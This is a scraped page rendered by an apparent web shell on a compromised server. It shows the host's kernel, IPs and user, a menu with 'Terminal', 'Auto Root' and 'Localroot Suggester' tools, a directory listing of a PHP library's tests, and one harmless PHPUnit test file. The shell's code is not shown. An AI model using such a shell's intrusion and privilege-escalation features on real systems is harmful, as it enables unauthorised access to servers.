Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.161.182
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
1 /
vendor /
phar-io /
manifest /
tests /
values /
Delete
Unzip
Name
Size
Permission
Date
Action
ApplicationNameTest.php
1.69
KB
-rw-r--r--
2020-11-17 16:24
ApplicationTest.php
1.04
KB
-rw-r--r--
2020-11-17 16:24
AuthorCollectionTest.php
1.61
KB
-rw-r--r--
2020-11-17 16:24
AuthorTest.php
1.14
KB
-rw-r--r--
2020-11-17 16:24
BundledComponentCollectionTest.php
1.7
KB
-rw-r--r--
2020-11-17 16:24
BundledComponentTest.php
1.17
KB
-rw-r--r--
2020-11-17 16:24
CopyrightInformationTest.php
1.72
KB
-rw-r--r--
2020-11-17 16:24
EmailTest.php
952
B
-rw-r--r--
2020-11-17 16:24
ExtensionTest.php
3.18
KB
-rw-r--r--
2020-11-17 16:24
LibraryTest.php
1.02
KB
-rw-r--r--
2020-11-17 16:24
LicenseTest.php
1.11
KB
-rw-r--r--
2020-11-17 16:24
ManifestTest.php
5.46
KB
-rw-r--r--
2020-11-17 16:24
PhpExtensionRequirementTest.php
762
B
-rw-r--r--
2020-11-17 16:24
PhpVersionRequirementTest.php
1.05
KB
-rw-r--r--
2020-11-17 16:24
RequirementCollectionTest.php
1.7
KB
-rw-r--r--
2020-11-17 16:24
UrlTest.php
932
B
-rw-r--r--
2020-11-17 16:24
Save
Rename
<?php /* * This file is part of PharIo\Manifest. * * (c) Arne Blankerts <arne@blankerts.de>, Sebastian Heuer <sebastian@phpeople.de>, Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PharIo\Manifest; use PHPUnit\Framework\TestCase; class ApplicationNameTest extends TestCase { public function testCanBeCreatedWithValidName() { $this->assertInstanceOf( ApplicationName::class, new ApplicationName('foo/bar') ); } public function testUsingInvalidFormatForNameThrowsException() { $this->expectException(InvalidApplicationNameException::class); $this->expectExceptionCode(InvalidApplicationNameException::InvalidFormat); new ApplicationName('foo'); } public function testUsingWrongTypeForNameThrowsException() { $this->expectException(InvalidApplicationNameException::class); $this->expectExceptionCode(InvalidApplicationNameException::NotAString); new ApplicationName(123); } public function testReturnsTrueForEqualNamesWhenCompared() { $app = new ApplicationName('foo/bar'); $this->assertTrue( $app->isEqual($app) ); } public function testReturnsFalseForNonEqualNamesWhenCompared() { $app1 = new ApplicationName('foo/bar'); $app2 = new ApplicationName('foo/foo'); $this->assertFalse( $app1->isEqual($app2) ); } public function testCanBeConvertedToString() { $this->assertEquals( 'foo/bar', new ApplicationName('foo/bar') ); } }